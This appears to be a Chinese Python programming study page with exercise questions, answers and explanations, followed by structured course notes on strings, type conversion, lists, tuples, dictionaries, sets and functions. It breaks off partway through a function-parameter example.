解析：列表是可变对象，执行 y = x 时，y 和 x 指向同一个内存地址的列表对象。因此，对 y 的修改（如 append）会直接反映到 x 上。

# 6. 题目

已知 x = [3, 5, 7]，那么执行语句 x[len(x):] = [1, 2]之后，x的值为_______

答案：[3,5,7,1,2]

解析： len(x) 计算列表 x 的长度，结果为 3。 x[3:] 表示从索引 3 开始的切片，由于列表 x 的索引范围是 0-2，所以这是空切片，指向列表末尾的空位。 x[3:] = [1,2] 的本质是在列表末尾插入新列表 [1,2] 的元素，最终 x 的值为 [3,5,7,1,2]。

# 7. 题目

使用列表推导式得到100以内所有能被13整除的数的代码可以写作[i for i in range(100) if ________ ]。

答案：i%13==0

解析：列表推导式的条件部分需要判断 i 是否能被 13 整除，即 i 除以 13 的余数是否为 0，因此条件为 i%13==0。

# 8. 题目

已知 x = [1, 2, 3, 2, 3]，执行语句 x.remove(2) 之后，x的值为_______

答案：[1,3,2,3]

解析： remove() 方法用于删除列表中第一个出现的指定元素。x.remove (2) 会删除列表 x 中第一个出现的 2，剩余元素为 [1,3,2,3]。

# 9. 题目

表达式 list(map(lambda x: x+5, [1, 2, 3, 4, 5])) 的值为 __________

答案：[6,7,8,9,10]

解析： map() 函数将 lambda 函数应用于列表中的每个元素，lambda 函数 x+5 将每个元素加 5，结果为 [6,7,8,9,10]。

# 10. 题目

已知 x = [[1, 2, 3,], [4, 5, 6]]，那么表达式 sum([i*j for i,j in zip(*x)]) 的值为__________

答案：32

解析： *x 将 x 解包为两个列表 [1,2,3] 和 [4,5,6]， zip(*x) 将两个列表的对应元素打包成元组 [(1,4),(2,5),(3,6)]，列表推导式计算每个元组的乘积 [4,10,18]，sum () 函数求和得到 32。

# 11. 题目

已知 x = 'abcd' 和 y = 'abcde'，那么表达式 __________ for i,j in zip(x,y)] 的值为[True, True, True, True]。

答案：i==j

解析： zip(x,y) 将两个字符串的对应字符打包成元组 [('a','a'),('b','b'),('c','c'),('d','d')]，列表推导式需要判断每个元组的两个字符是否相等，因此表达式为 i==j。

# 12. 题目

表达式 [index for index, value in enumerate([3,5,7,3,7]) if value == max([3,5,7,3,7])] 的值为______

答案：[2,4]

解析： max([3,5,7,3,7]) 得到列表的最大值 7， enumerate() 将列表转换为索引 - 元素对 [(0,3),(1,5),(2,7),(3,3),(4,7)]，列表推导式筛选出值为 7 的元素的索引，结果为 [2,4]。

Python程序设计习题——程序思维与Python语言基础

2026-01-17T15:54:24.000Z

# 程序思维与 Python 语言基础

# 选择题

# 1. 题目

	在Python3中下列__________语句是非法的。

	A.m=(n=a+1)
	B.m,n=3,4
	C.a,b=b,a
	D.m,n='ab'

答案：A

选项 A： m=(n=a+1) → 非法。Python 不支持「赋值表达式嵌套在括号里直接赋值」，因为 n=a+1 是赋值语句，不是表达式（无法返回值），而括号里必须是能计算出结果的表达式。

选项 B： m,n=3,4 → 合法。这是 Python 的多变量赋值语句。

选项 C： a,b=b,a → 合法。这是 Python 中交换变量值的常用方法。

选项 D： m,n='ab' → 合法。这是 Python 的序列解包赋值，将字符串 'ab' 的两个字符分别赋值给 m 和 n。

# 2. 题目

	关于Python字符串,以下选项中描述错误的是( )

	A.字符串可以保存在变量中,也可以单独存在
	B.可以使用datatype()测试字符串的类型
	C.输出带有引号的字符串,可以使用转义字符
	D.字符串是一个字符序列,字符串中的编号叫’索引’

答案：B

选项 A：字符串可以保存在变量中，也可以单独存在 → 正确。如 "hello" 和 x = "hello" 都是合法的。

选项 B：可以使用 datatype () 测试字符串的类型 → 错误。Python 中没有 datatype () 这个内置函数，正确的函数是 type ()。

选项 C：输出带有引号的字符串，可以使用转义字符 → 正确。如 print("He said \"hello\"") 。

选项 D：字符串是一个字符序列，字符串中的编号叫 "索引" → 正确。字符串是有序的字符序列，下标称为索引。

# 3. 题目

	如下语句：
	str1 = "Runoob example....wow!!!"
	str2 = "exam";
	print(str1.find(str2, 5)) 输出的结果是（）

	A.8
	B.-1
	C.7
	D.6

答案：C

选项 A：8 → 错误。find () 方法从索引 5 开始查找，"exam" 实际从索引 7 开始。

选项 B：-1 → 错误。"exam" 在 str1 中存在。

选项 C：7 → 正确。字符串 "Runoob example....wow!!!" 中，"example" 从索引 7 开始，"exam" 也从索引 7 开始。

选项 D：6 → 错误。索引 6 位置是空格字符。

# 4. 题目

	哪个选项是下面代码的执行结果? ( )
	name="Python语言程序设计课程"
	print(name[0],name[2:-2],name[-1])


	A.Python语言程序设计课
	B.P ython语言程序设计课程
	C.P thon语言程序设计程
	D.Python语言程序设计课课

答案：C

解析：

1. 解析 name[0]

name[0] 是字符串的正向第 1 个字符，对应字符串 "Python语言程序设计课程" 的第一个字符 "P" 。

2. 解析 name[2:-2]

这是切片操作， 起始索引=2 ， 结束索引=-2 ：

起始索引 2 ：正向索引第 3 个字符（跳过 0 对应的 P 、 1 对应的 y ），对应字符 "t" 。
结束索引 -2 ：反向索引倒数第 2 个字符（对应字符串中的 "课" ），根据「左闭右开」原则，切片会包含到 -2 的前一个字符（即倒数第 3 个字符 "计" ）。
切片结果：从 "t" 开始，到 "计" 结束，即 "thon语言程序设计" （组合起来为 "thon语言程序设计" ）。

3. 解析 name[-1]

name[-1] 是字符串的反向最后 1 个字符，对应字符串的最后一个字符 "程" 。

# 5. 题目

	哪个选项是下面代码的执行结果?( )
	s='PYTHON'
	print("{0:3}".format(s))

	A.'PYTHON'
	B.PYT
	C.PYTHON
	D.PYTH

答案：C

选项 A：'PYTHON' → 错误。print () 输出时不会包含引号。

选项 B：PYT → 错误。{0:3} 表示最小宽度为 3，不是截断长度。当字符串长度大于指定宽度时，不会被截断，而是原样输出。

选项 C：PYTHON → 正确。字符串 "PYTHON" 长度为 6，大于指定的最小宽度 3，所以直接输出原字符串。

选项 D：PYTH → 错误。理由同选项 B。

# 6. 题目

	val=pow(2,1000),请用一行代码返回val结果的长度值.( )

	A.len(val)
	B.len(pow(2,1000))
	C.其它均不正确
	D.len(str(val))

答案：D

选项 A：len (val) → 错误。val 是一个整数，len () 函数无法直接计算整数的长度。

选项 B：len (pow (2,1000)) → 错误。pow (2,1000) 返回的是一个整数，同样无法直接用 len () 计算长度。

选项 C：其它均不正确 → 错误。选项 D 是正确的。

选项 D：len (str (val)) → 正确。将整数转换为字符串后，就可以用 len () 函数计算其长度。

# 判断题

# 1. 题目

在IDLE交互模式下，一个下划线“_”表示解释器中最后一次显示的内容或最后一次语句正确执行的输出结果  ( )

答案：对

解析：在 Python IDLE（及 CPython 解释器的交互模式）中，下划线 _ 是一个特殊的内置变量，它会自动保存「解释器最后一次显示的输出结果」（或最后一次正确执行语句的返回值）。仅在交互模式下生效，脚本模式中 _ 无此特殊含义（除非手动定义）。

# 2. 题目

已知 x = 3，那么赋值语句 x = 'abcedfg' 是无法正常执行的。  ( )

答案：错

解析：Python 是动态类型语言，变量没有固定类型，变量只是 “引用”，可以随时指向不同类型的对象。执行 x = 3 后，x 指向整数对象；执行 x = 'abcedfg' 后，x 改为指向字符串对象，这是完全合法的。

# 3. 题目

max = x > y ? x : y    ( )

答案：错

解析： ? : 是 C/C++/Java 的三目运算符，Python 不支持这种写法。Python 的三目表达式应写成： max = x if x > y else y 。

# 4. 题目

if (x > y) print(x)    ( )

答案：错

解析：Python 的 if 语句必须有冒号 : ，且不能直接在条件后写语句（不像 C 语言）。正确写法应为：

	if x > y:
	print(x)

# 5. 题目

3+4j不是合法的Python表达式。  ( )

答案：错

解析：在 Python 中，复数是内置数据类型，可以直接用 a + bj 的形式表示，其中 j 表示虚数单位（等价于数学中的 i ）。 3+4j 是完全合法的 Python 表达式，类型是 complex 。

# 6. 题目

s = "My Python" print(s[3:-1]) 上述代码能够显示输出Python  ( )

答案：错

解析：字符串及索引如下：

	M y P y t h o n
	0 1 2 3 4 5 6 7 8

切片规则： s[start : end] 左闭右开，end 不包含。
s[3:-1] 中：

start = 3 → 从 'P' 开始
end = -1 → 到倒数第 1 个字符之前（不包含 'n' ）
等价于 s[3:8] ，实际取到的是 'Pytho' ，而不是 'Python' 。

# 填空题

# 1. 题目

表达式 abs(3+4j) 的值为______

答案：5.0

解析： abs() 是 Python 的内置函数，用于计算绝对值 / 模长。对复数（形如 a+bj），计算复数的模长，公式为：模长 = √(a² + b²)。复数 3+4j 中，实部 a=3 ，虚部 b=4 ，代入公式得：√(3² + 4²) = √(9+16) = √25 = 5。Python 中复数的模长返回值为浮点数类型，因此最终结果是 5.0 。

# 2. 题目

Python 3.x语句 print(1, 2, 3, sep=':') 的输出结果为______

答案：1:2:3

解析： print() 默认用空格分隔多个输出对象， sep=':' 参数表示用冒号代替空格。因此， print(1, 2, 3, sep=':') 的输出结果为 1:2:3 。

# 3. 题目

查看变量内存地址的 Python 内置函数是：______

答案：id ()

解析： id(obj) 是 Python 的内置函数，用于返回对象的唯一标识。在 CPython 中，这个值通常就是对象的内存地址。

# 4. 题目

已知 x = 3，并且id(x)的返回值为 496103280，那么执行语句 x += 6 之后，表达式 id(x) == 496103280 的值为______

答案：False

解析：在 Python 中，整数是不可变类型。对不可变对象做 “修改”，不会在原地改，而是创建新对象，再让变量指向新对象。执行 x += 6 后，x 改为指向新的整数对象 9，其内存地址与原来的整数对象 3 不同，因此 id(x) == 496103280 的值为 False。

# 5. 题目

表达式 int('123', 16) 的值为______

答案：291

解析： int('123', 16) 表示将十六进制字符串 '123' 转换为十进制整数。计算过程：1*16*16 + 2*16 + 3 = 256 + 32 + 3 = 291。

Python程序设计

2026-01-16T14:25:33.000Z

# 目录

字符串
1.1 字符串的创建与基本特性
1.2 字符串的索引与切片
1.3 字符串的内置处理函数
1.4 字符串的常用方法
1.5 字符串的格式化
1.6 字符串的连接与重复
1.7 字符串的成员关系判断
数据类型转换
2.1 基本数据类型转换
2.2 高级数据类型转换
2.3 常用数学函数
列表
3.1 列表的创建
3.2 列表的访问
3.3 列表的遍历
3.4 列表元素的增加
3.5 列表元素的删除
3.6 列表元素的修改
3.7 列表元素的排序
3.8 列表的其他操作
元组
4.1 元组的基本特性
4.2 元组的常用操作
4.3 序列解包
字典
5.1 字典的基本特性
5.2 字典的创建
5.3 字典元素的访问
5.4 字典元素的修改
5.5 字典的遍历
集合
6.1 集合的基本特性
6.2 集合的创建
6.3 集合的常用方法及运算符
6.4 不可变集合
函数
7.1 内置函数
7.2 自定义函数
7.3 函数的特殊参数
7.4 lambda 函数
7.5 变量作用域
7.6 递归函数
7.7 main 函数
面向对象程序设计
8.1 类与对象
8.2 属性
8.3 方法
8.4 运算符重载
8.5 继承
8.6 多态性
文件和目录操作
9.1 文件类型与基本操作
9.2 文件打开模式
9.3 文件读写方法
9.4 CSV 文件操作
9.5 Excel 文件操作
9.6 图像文件操作
9.7 JSON 文件操作
9.8 os 和 os.path 模块
9.9 shutil 模块
异常处理
10.1 异常类
10.2 异常处理结构
10.3 抛出异常
10.4 自定义异常
10.5 断言
常用库
11.1 库的导入方式
11.2 math 库
11.3 random 库
11.4 datetime 库
11.5 NumPy 库
11.6 pandas 库
11.7 matplotlib 库

# 1. 字符串

# 1.1 字符串的创建与基本特性

# 创建方式

	# 单引号创建
	s1 = 'Hello'
	# 双引号创建
	s2 = "World"
	# 三引号创建多行字符串
	s3 = '''Hello
	World''' # 包含换行符
	s4 = """Hello
	World""" # 效果同三单引号

# 基本特性

不可变性：字符串创建后不可修改，任何修改操作都会返回新字符串
有序性：支持索引和切片操作
大小写敏感： 'A' != 'a'

# 易错点

单引号字符串内可以包含双引号，双引号字符串内可以包含单引号
若字符串内需要包含相同引号，需使用转义字符 \
三引号字符串会保留所有格式，包括换行符和缩进

# 1.2 字符串的索引与切片

# 索引

	s = "Python"
	print(s[0]) # 'P' 正向索引，从 0 开始
	print(s[-1]) # 'n' 反向索引，从 - 1 开始

# 切片

	s = "Python"
	print(s[0:3]) # 'Pyt' [开始：结束)，左闭右开区间
	print(s[:3]) # 'Pyt' 省略开始，从 0 开始
	print(s[3:]) # 'hon' 省略结束，到字符串末尾
	print(s[0:6:2]) # 'Pto' [开始：结束：步长]
	print(s[::-1]) # 'nohtyP' 步长为 - 1，逆序字符串

# 注意点

切片不会引发索引越界异常
切片结果不包含结束索引位置的字符
步长可以为负数，表示从右向左取值

# 1.3 字符串的内置处理函数

函数	说明	示例
`str(obj)`	将对象转换为字符串	`str(123)` → `'123'`
`len(s)`	返回字符串长度	`len('Python')` → `6`

# 1.4 字符串的常用方法

# 1.4.1 split () - 分割字符串

	s = "Hello,World,Python"
	print(s.split(',')) # ['Hello', 'World', 'Python']
	print(s.split(',', 1)) # ['Hello', 'World,Python'] 限制分割次数

# 1.4.2 join () - 连接字符串

	lst = ['Hello', 'World', 'Python']
	print(','.join(lst)) # 'Hello,World,Python'

# 1.4.3 replace () - 替换字符串

	s = "Hello World"
	print(s.replace('World', 'Python')) # 'Hello Python'
	print(s.replace('o', '0', 1)) # 'Hell0 World' 限制替换次数

# 1.4.4 strip () /lstrip () /rstrip () - 去除空白字符

	s = " Hello World "
	print(s.strip()) # 'Hello World' 去除两端空白
	print(s.lstrip()) # 'Hello World ' 去除左端空白
	print(s.rstrip()) # ' Hello World' 去除右端空白

	# 补充内容：可以指定要去除的字符
	s = "###Hello World###"
	print(s.strip('#')) # 'Hello World'

# 1.4.5 其他常用方法

	s = "Hello World"
	print(s.upper()) # 'HELLO WORLD' 转换为大写
	print(s.lower()) # 'hello world' 转换为小写
	print(s.find('o')) # 4 查找子串首次出现的索引
	print(s.rfind('o')) # 7 查找子串最后出现的索引
	print(s.startswith('Hello')) # True 判断是否以指定子串开头
	print(s.endswith('World')) # True 判断是否以指定子串结尾

# 1.5 字符串的格式化

# 1.5.1 format () 方法

	# 位置参数
	print("Hello, {0}! I'm {1}.".format("World", "Python")) # 'Hello, World! I'm Python.'
	# 关键字参数
	print("Hello, {name}! I'm {lang}.".format(name="World", lang="Python")) # 'Hello, World! I'm Python.'
	# 格式化数字
	print("Pi is approximately {:.2f}".format(3.14159)) # 'Pi is approximately 3.14' 保留两位小数
	print("Number: {:05d}".format(123)) # 'Number: 00123' 补零至 5 位
	print("Percent: {:.1%}".format(0.75)) # 'Percent: 75.0%' 百分比格式

# 1.5.2 f-string（Python 3.6+）

	name = "World"
	lang = "Python"
	print(f"Hello, {name}! I'm {lang}.") # 'Hello, World! I'm Python.'
	pi = 3.14159
	print(f"Pi is approximately {pi:.2f}") # 'Pi is approximately 3.14'

# 1.5.3 老式格式化（% 运算符）

	print("Hello, %s! I'm %s." % ("World", "Python")) # 'Hello, World! I'm Python.'
	print("Pi is approximately %.2f" % 3.14159) # 'Pi is approximately 3.14'

# 注意点

推荐使用 f-string，语法更简洁，性能更好
format () 方法更灵活，支持位置参数、关键字参数等
老式格式化（%）在 Python 3 中仍支持，但不推荐使用

# 1.6 字符串的连接与重复

	# 连接
	print("Hello" + " " + "World") # 'Hello World'
	# 重复
	print("Hello" * 3) # 'HelloHelloHello'

# 1.7 字符串的成员关系判断

	s = "Hello World"
	print('Hello' in s) # True
	print('Python' in s) # False
	print('Hello' not in s) # False

# 1.8 字符串小结

字符串是不可变的有序序列
支持索引和切片操作
提供丰富的内置方法处理字符串
多种格式化方式，推荐使用 f-string

# 2. 数据类型转换

# 2.1 基本数据类型转换

	# int () - 转换为整数
	print(int(3.14)) # 3 小数转整数，向下取整
	print(int("123")) # 123 字符串转整数
	print(int("0x10", 16)) # 16 指定基数

	# float () - 转换为浮点数
	print(float(3)) # 3.0
	print(float("3.14")) # 3.14

	# bool () - 转换为布尔值
	print(bool(0)) # False
	print(bool(1)) # True
	print(bool("")) # False
	print(bool("Hello")) # True

# 注意点

int() 转换小数时会截断小数部分，不是四舍五入
字符串转数字时，字符串必须是有效的数字表示
空字符串、0、None 转换为布尔值都是 False，其他值为 True

# 2.2 高级数据类型转换

	# complex () - 转换为复数
	print(complex(1)) # (1+0j)
	print(complex(1, 2)) # (1+2j)

	# str () - 转换为字符串
	print(str(123)) # '123'
	print(str([1, 2, 3])) # '[1, 2, 3]'

	# repr () - 转换为表达式字符串
	print(repr('Hello')) # "'Hello'"

	# eval () - 执行字符串表达式
	print(eval('1 + 2')) # 3
	print(eval('"Hello" + "World"')) # 'HelloWorld'

	# chr () - ASCII 码转字符
	print(chr(65)) # 'A'

	# ord () - 字符转 ASCII 码
	print(ord('A')) # 65

	# hex () - 转换为十六进制字符串
	print(hex(16)) # '0x10'

	# oct () - 转换为八进制字符串
	print(oct(8)) # '0o10'

# 注意点

eval() 函数会执行字符串中的任意代码，存在安全风险，不要用于处理用户输入
repr() 和 str() 的区别： repr() 返回对象的 “官方” 字符串表示，适合调试； str() 返回对象的 “友好” 字符串表示，适合用户查看

# 2.3 常用数学函数

	import math

	# 数值函数
	print(abs(-10)) # 10 绝对值
	print(min(1, 2, 3)) # 1 最小值
	print(max(1, 2, 3)) # 3 最大值
	print(math.sqrt(16)) # 4.0 平方根
	print(math.ceil(3.14)) # 4 向上取整
	print(math.floor(3.14)) # 3 向下取整

	# 字符串函数
	s = "Hello World"
	print(len(s)) # 11 字符串长度
	print(s.upper()) # 'HELLO WORLD' 转换为大写
	print(s.lower()) # 'hello world' 转换为小写
	print(s.find('o')) # 4 查找子串首次出现的索引
	print(s.replace('o', '0')) # 'Hell0 W0rld' 替换字符串
	print(s.strip()) # 'Hello World' 去除两端空白

# 2.4 数据类型转换小结

Python 提供丰富的数据类型转换函数
转换过程中需注意数据类型的兼容性
高级转换函数（如 eval ()）存在安全风险，需谨慎使用

# 3. 列表

# 3.1 列表的创建

# 3.1.1 定义法

	lst1 = [1, 2, 3]
	lst2 = [1, 'a', True, [1, 2]] # 元素可以是任何类型，类型可不同

# 3.1.2 list () 函数

	lst1 = list() # 空列表
	lst2 = list("Python") # 从字符串创建：['P', 'y', 't', 'h', 'o', 'n']
	lst3 = list((1, 2, 3)) # 从元组创建：[1, 2, 3]

# 3.1.3 列表生成式

	# 基本形式
	lst1 = [x for x in range(5)] # [0, 1, 2, 3, 4]

	# 带条件
	lst2 = [x for x in range(10) if x % 2 == 0] # [0, 2, 4, 6, 8]

	# 嵌套
	lst3 = [x + y for x in 'AB' for y in '12'] # ['A1', 'A2', 'B1', 'B2']

# 3.2 列表的访问

	lst = [1, 2, 3, 4, 5]
	print(lst[0]) # 1 正向索引
	print(lst[-1]) # 5 反向索引
	print(lst[1:4]) # [2, 3, 4] 切片

# 注意点

索引越界会引发 IndexError 异常
切片不会引发索引越界异常

# 3.3 列表的遍历

# 3.3.1 for 循环

	lst = [1, 2, 3, 4, 5]
	for item in lst:
	print(item)

# 3.3.2 for 循环配合 enumerate () 函数

	lst = ['a', 'b', 'c']
	for index, item in enumerate(lst):
	print(index, item)
	# 输出：
	# 0 a
	# 1 b
	# 2 c

# 3.3.3 while 循环

	lst = [1, 2, 3, 4, 5]
	i = 0
	while i < len(lst):
	print(lst[i])
	i += 1

# 3.4 列表元素的增加

# 3.4.1 append () - 在列表末尾添加元素

	lst = [1, 2, 3]
	lst.append(4)
	print(lst) # [1, 2, 3, 4]

# 3.4.2 extend () - 在列表末尾添加另一个列表的所有元素

	lst1 = [1, 2, 3]
	lst2 = [4, 5, 6]
	lst1.extend(lst2)
	print(lst1) # [1, 2, 3, 4, 5, 6]

# 3.4.3 insert () - 在指定位置插入元素

	lst = [1, 2, 3]
	lst.insert(1, 'a') # 在索引 1 位置插入 'a'
	print(lst) # [1, 'a', 2, 3]

# 注意点

append() 只能添加一个元素，即使添加的是列表，也会作为单个元素添加
extend() 添加的是列表的所有元素，不是作为单个元素
insert() 的时间复杂度为 O (n)，频繁在列表开头插入元素会影响性能

# 3.5 列表元素的删除

# 3.5.1 del 命令

	lst = [1, 2, 3, 4, 5]
	del lst[0] # 删除索引 0 位置的元素
	print(lst) # [2, 3, 4, 5]
	del lst[1:3] # 删除切片
	print(lst) # [2, 5]

# 3.5.2 pop () 方法

	lst = [1, 2, 3, 4, 5]
	print(lst.pop()) # 5 删除并返回最后一个元素
	print(lst) # [1, 2, 3, 4]
	print(lst.pop(1)) # 2 删除并返回指定位置的元素
	print(lst) # [1, 3, 4]

# 3.5.3 remove () 方法

	lst = [1, 2, 3, 2, 4]
	lst.remove(2) # 删除第一个出现的 2
	print(lst) # [1, 3, 2, 4]

# 3.5.4 clear () 方法

	lst = [1, 2, 3, 4, 5]
	lst.clear()
	print(lst) # []

# 注意点

del 命令可以删除单个元素或切片
pop() 方法有返回值， remove() 方法没有返回值
remove() 方法删除第一个匹配的元素，若元素不存在会引发 ValueError 异常

# 3.6 列表元素的修改

	lst = [1, 2, 3, 4, 5]
	lst[0] = 'a' # 修改单个元素
	print(lst) # ['a', 2, 3, 4, 5]
	lst[1:3] = [6, 7] # 修改切片
	print(lst) # ['a', 6, 7, 4, 5]

# 3.7 列表元素的排序

# 3.7.1 sort () 方法 - 原地排序

	lst = [3, 1, 4, 1, 5, 9]
	lst.sort() # 默认升序
	print(lst) # [1, 1, 3, 4, 5, 9]
	lst.sort(reverse=True) # 降序
	print(lst) # [9, 5, 4, 3, 1, 1]

# 3.7.2 sorted () 函数 - 返回新列表

	lst = [3, 1, 4, 1, 5, 9]
	sorted_lst = sorted(lst) # 返回新列表，原列表不变
	print(sorted_lst) # [1, 1, 3, 4, 5, 9]
	print(lst) # [3, 1, 4, 1, 5, 9]

# 注意点

sort() 方法原地排序，修改原列表，无返回值
sorted() 函数返回新列表，原列表不变
都支持 reverse 参数控制排序方向
都支持 key 参数指定排序依据

# 3.8 列表的其他操作

	lst = [1, 2, 3, 4, 5]
	print(len(lst)) # 5 列表长度
	print(lst.count(1)) # 1 元素出现次数
	print(lst.index(3)) # 2 元素首次出现的索引
	print(sum(lst)) # 15 元素求和
	print(min(lst)) # 1 最小值
	print(max(lst)) # 5 最大值
	print(lst.copy()) # [1, 2, 3, 4, 5] 浅拷贝
	lst.reverse() # 反转列表
	print(lst) # [5, 4, 3, 2, 1]

# 3.9 列表小结

列表是可变的有序序列
元素可以是任何类型，支持不同类型的元素
提供丰富的方法操作列表
支持切片、索引等操作

# 4. 元组

# 4.1 元组的基本特性

有序性：支持索引和切片操作
不可变性：创建后不可修改
元素类型多样性：元素可以是任何类型

# 4.2 元组的常用操作

# 创建

	# 圆括号创建
	t1 = (1, 2, 3)
	# 省略圆括号
	t2 = 1, 2, 3
	# 单个元素元组，必须加逗号
	t3 = (1,)
	# 使用 tuple () 函数
	t4 = tuple([1, 2, 3])

# 访问

	t = (1, 2, 3, 4, 5)
	print(t[0]) # 1 索引访问
	print(t[1:4]) # (2, 3, 4) 切片

# 其他操作

	t = (1, 2, 3, 4, 5)
	print(len(t)) # 5 长度
	print(t.count(1)) # 1 元素出现次数
	print(t.index(3)) # 2 元素首次出现的索引
	print(sum(t)) # 15 求和
	print(min(t)) # 1 最小值
	print(max(t)) # 5 最大值

# 注意点

创建单个元素的元组时，必须在元素后面加逗号，否则会被视为普通括号
元组是不可变的，但如果元组中包含可变对象（如列表），则可变对象的内容可以修改

# 4.3 序列解包

	# 基本解包
	t = (1, 2, 3)
	a, b, c = t
	print(a, b, c) # 1 2 3

	# 扩展解包（Python 3+）
	t = (1, 2, 3, 4, 5)
	a, b, *rest = t
	print(a, b, rest) # 1 2 [3, 4, 5]

	# 交换变量
	a, b = 1, 2
	a, b = b, a # 交换 a 和 b 的值
	print(a, b) # 2 1

# 注意点

解包时变量数量必须与元组长度匹配，否则会引发 ValueError 异常
扩展解包（*rest）可以接收任意数量的元素，返回列表
序列解包适用于所有序列类型（列表、元组、字符串等）

# 4.4 元组小结

元组是不可变的有序序列
适合存储不可变的数据集合
支持序列解包，方便变量赋值

# 5. 字典

# 5.1 字典的基本特性

键值对存储：键必须唯一，值可以是任何类型
键的要求：键必须是不可变类型（数字、字符串、元组）
可变容器：创建后可以修改
无序性：Python 3.7 + 中字典保持插入顺序，之前版本无序

# 5.2 字典的创建

# 5.2.1 使用花括号直接创建

	d1 = {'name': 'Tom', 'age': 18}
	d2 = {} # 空字典

# 5.2.2 利用 dict 函数生成字典

	# 创建空字典
	d1 = dict()
	# 利用序列创建字典
	d2 = dict([('name', 'Tom'), ('age', 18)])
	# 利用 zip 创建字典
	d3 = dict(zip(['name', 'age'], ['Tom', 18]))
	# 利用关键字参数创建字典
	d4 = dict(name='Tom', age=18)

# 5.3 字典元素的访问

# 5.3.1 使用方括号

	d = {'name': 'Tom', 'age': 18}
	print(d['name']) # 'Tom'
	print(d['gender']) # KeyError: 'gender' 键不存在会引发异常

# 5.3.2 get () 方法

	d = {'name': 'Tom', 'age': 18}
	print(d.get('name')) # 'Tom'
	print(d.get('gender')) # None 键不存在返回 None
	print(d.get('gender', 'Unknown')) # 'Unknown' 键不存在返回默认值

# 5.4 字典元素的修改

# 5.4.1 增加新元素

	d = {'name': 'Tom', 'age': 18}
	d['gender'] = 'Male'
	print(d) # {'name': 'Tom', 'age': 18, 'gender': 'Male'}

# 5.4.2 修改已有键值对

	d = {'name': 'Tom', 'age': 18}
	d['age'] = 19
	print(d) # {'name': 'Tom', 'age': 19}

# 5.4.3 删除键值对

	d = {'name': 'Tom', 'age': 18, 'gender': 'Male'}
	# pop () 方法 - 删除并返回值
	age = d.pop('age')
	print(age, d) # 18 {'name': 'Tom', 'gender': 'Male'}
	# clear () 方法 - 清空字典
	d.clear()
	print(d) # {}
	# del 命令 - 删除键值对或字典
	d = {'name': 'Tom', 'age': 18}
	del d['name']
	print(d) # {'age': 18}
	del d

# 注意点

字典的 sum() 、 max() 、 min() 操作针对的是键，不是值
键必须是不可变类型，否则会引发 TypeError 异常
使用方括号访问不存在的键会引发 KeyError 异常，推荐使用 get () 方法

# 5.5 字典的遍历

# 5.5.1 遍历键

	d = {'name': 'Tom', 'age': 18, 'gender': 'Male'}
	for key in d:
	print(key) # name age gender
	for key in d.keys():
	print(key) # name age gender

# 5.5.2 遍历值

	d = {'name': 'Tom', 'age': 18, 'gender': 'Male'}
	for value in d.values():
	print(value) # Tom 18 Male

# 5.5.3 遍历键值对

	d = {'name': 'Tom', 'age': 18, 'gender': 'Male'}
	for key, value in d.items():
	print(key, value) # name Tom age 18 gender Male

# 5.6 字典小结

字典是键值对的可变容器
键必须是不可变类型，值可以是任何类型
提供多种方法访问和修改字典
支持遍历键、值、键值对

# 6. 集合

# 6.1 集合的基本特性

唯一性：不允许重复元素
无序性：不支持索引和切片操作
可哈希性：元素必须是不可变类型

# 6.2 集合的创建

# 6.2.1 可变集合创建

	# 花括号创建
	set1 = {1, 2, 3}
	# 注意：直接 {} 创建的是空字典，不是空集合
	empty_set = set()
	# set () 函数创建
	set2 = set([1, 2, 3, 3]) # {1, 2, 3} 自动去重
	set3 = set("Hello") # {'H', 'e', 'l', 'o'} 字符串转集合

# 6.3 集合的常用方法及运算符

# 6.3.1 添加元素

	set1 = {1, 2, 3}
	set1.add(4) # {1, 2, 3, 4}

# 6.3.2 删除元素

	set1 = {1, 2, 3, 4}
	set1.remove(3) # {1, 2, 4} 元素不存在会引发 KeyError
	set1.discard(5) # {1, 2, 4} 元素不存在不会引发异常
	set1.pop() # 1 随机删除并返回一个元素
	set1.clear() # {} 清空集合

# 6.3.3 集合运算

	set1 = {1, 2, 3, 4}
	set2 = {3, 4, 5, 6}

	# 交集
	print(set1 & set2) # {3, 4}
	print(set1.intersection(set2)) # {3, 4}

	# 并集
	print(set1 \| set2) # {1, 2, 3, 4, 5, 6}
	print(set1.union(set2)) # {1, 2, 3, 4, 5, 6}

	# 差集
	print(set1 - set2) # {1, 2}
	print(set1.difference(set2)) # {1, 2}

	# 对称差集
	print(set1 ^ set2) # {1, 2, 5, 6}
	print(set1.symmetric_difference(set2)) # {1, 2, 5, 6}

# 6.3.4 其他方法

	set1 = {1, 2, 3}
	set2 = {2, 3}
	print(len(set1)) # 3 集合长度
	print(set2.issubset(set1)) # True set2 是否是 set1 的子集
	print(set1.issuperset(set2)) # True set1 是否是 set2 的超集
	print(set1.copy()) # {1, 2, 3} 浅拷贝

# 6.4 不可变集合

	# 使用 frozenset () 函数创建不可变集合
	fs = frozenset([1, 2, 3])
	# fs.add(4) # AttributeError: 'frozenset' object has no attribute 'add'

# 注意点

不可变集合没有添加、删除元素的方法
不可变集合可以作为字典的键或其他集合的元素

# 6.5 集合小结

集合是无序的不重复元素集合
分为可变集合和不可变集合
提供丰富的集合运算和方法
适合用于去重、交集、并集等操作

# 7. 函数

# 7.1 内置函数

	# 输入输出
	print("Hello World") # 输出
	name = input("请输入姓名：") # 输入

	# 数值函数
	print(abs(-10)) # 10 绝对值
	print(divmod(10, 3)) # (3, 1) 商和余数
	print(round(3.14159, 2)) # 3.14 四舍五入
	print(pow(2, 3)) # 8 幂运算
	print(sum([1, 2, 3])) # 6 求和
	print(min(1, 2, 3)) # 1 最小值
	print(max(1, 2, 3)) # 3 最大值

	# 类型转换
	print(int(3.14)) # 3
	print(float(3)) # 3.0
	print(str(123)) # '123'
	print(list((1, 2, 3))) # [1, 2, 3]
	print(tuple([1, 2, 3])) # (1, 2, 3)
	print(dict(name='Tom', age=18)) # {'name': 'Tom', 'age': 18}
	print(set([1, 2, 3, 3])) # {1, 2, 3}

	# 序列函数
	print(range(5)) # range(0, 5)
	print(len([1, 2, 3])) # 3
	print(sorted([3, 1, 2])) # [1, 2, 3]
	print(list(filter(lambda x: x % 2 == 0, [1, 2, 3, 4]))) # [2, 4]
	print(list(map(lambda x: x * 2, [1, 2, 3]))) # [2, 4, 6]

	# 其他
	print(id(1)) # 对象 ID
	print(type(1)) # <class 'int'> 对象类型

# 7.2 自定义函数

# 定义与调用

	def greet(name):
	"""这是一个问候函数"""
	return f"Hello, {name}!"

	# 调用
	print(greet("Tom")) # 'Hello, Tom!'

# 参数传递

	def func(a, b):
	a += 1
	b.append(4)
	return a, b

	x = 1
	y = [1, 2, 3]
